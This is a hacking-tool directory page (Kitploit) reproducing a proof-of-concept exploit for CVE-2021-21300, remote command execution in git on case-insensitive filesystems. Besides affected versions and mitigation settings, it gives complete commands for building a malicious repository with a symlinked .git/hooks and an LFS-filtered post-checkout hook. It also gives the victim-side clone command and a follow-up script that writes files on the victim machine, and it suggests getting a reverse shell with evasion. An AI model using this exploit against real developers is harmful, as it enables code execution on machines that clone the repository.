Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-21300 — Proof-of-concept exploit for CVE-2021-21300, demonstrating remote code execution via malicious git repository cloning with symlink and filter abuse on case-insensitive filesystems. | Kitploit
Tools/GitHubGitHub/fengzhouc/cve-2021-21300
Privilege EscalationVulnerability AnalysisExploitationLateral MovementShellcodePost-ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

Proof-of-concept exploit for CVE-2021-21300, demonstrating remote code execution via malicious git repository cloning with symlink and filter abuse on case-insensitive filesystems.

35 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2021-21300

In multiple versions of git, the handling of symbolic links is not strict. After uploading files to git on a case-sensitive file system (e.g., Linux), cloning a malicious repository on a host using a case-insensitive file system (e.g., Windows) may lead to remote command execution.

Affected Versions

From 2.15 to the current 2.30.1

Solution

1、Upgrade the version

2、As follows

Disable git's symlink: git config --global core.symlinks false

Disable process filter (usually used by LFS). You can check via git config --show-scope --get-regexp 'filter..*.process'

Trigger Conditions:

1、There exist a symbolic link and a directory with the same name in the repository

2、The symbolic link points to a special directory (currently seems to be .git/hooks)

3、The victim machine needs sufficient permissions to execute malicious commands

Reproduction

01 Environment Preparation

① Repository Preparation:

System: ubuntux64

Need to install git, git-lfs

Executing the git lfs install command may report an error

Error: Failed to call git rev-parse --git-dir: exit status 128

Can be ignored

When "Git LFS initialized." appears, the installation is complete.

② Victim Machine:

System: win10x64

git for windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

The installation of git for windows can be all default.

02 Malicious Repository Preparation

① Create a new repository on GitHub:

There are many tutorials online, so I won't go into detail.

② Build a malicious repository on Ubuntu and upload it to GitHub:

Execute the following commands:

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main

03 Attack Test

Execute the following command in PowerShell (Administrator) on Windows 10:

git clone -c core.symlinks=true [自己的仓库地址]

After cloning, if "PWNED" appears, remote command execution is successful.

It can be seen that during cloning, the command in the post-checkout file was executed.

The idea is to use IEX to download a script, then obtain a shell through Kali listening, but most scripts will be detected and blocked. It should be possible to bypass by using evasion techniques.

04 Extended Exploitation

Add a script file hack.sh in the directory

Content as follows:

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Modify the command executed in post-checkout to execute the script

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Download Tool